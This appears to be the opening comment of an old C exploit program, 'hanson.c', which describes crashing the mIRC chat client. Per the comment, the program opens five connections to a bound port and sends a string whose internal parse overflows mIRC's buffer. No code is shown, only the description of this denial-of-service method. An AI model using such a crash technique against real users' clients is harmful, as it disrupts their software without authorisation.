/* hanson.c - by myn with help from h2o and watcher *thanks*
This lil program exploits mIRC's bound sockets, making the client crash
mIRC can handle a mass influx of data but cannot handle strings of data
that are parsed internally through mIRC. This program forces mIRC to
parse incoming data and identify it, the result from the parse
is larger then mIRC's buffer string size, thus making the
client crash :). This will create 5 connections to the bound port and
then send the string.
Its like sending double "int" when you only had 1 bit to work with!
hanson.c is dedicated to all the lil 13 to 16 year old geeks (abyss)
that are in love with those cute boys..
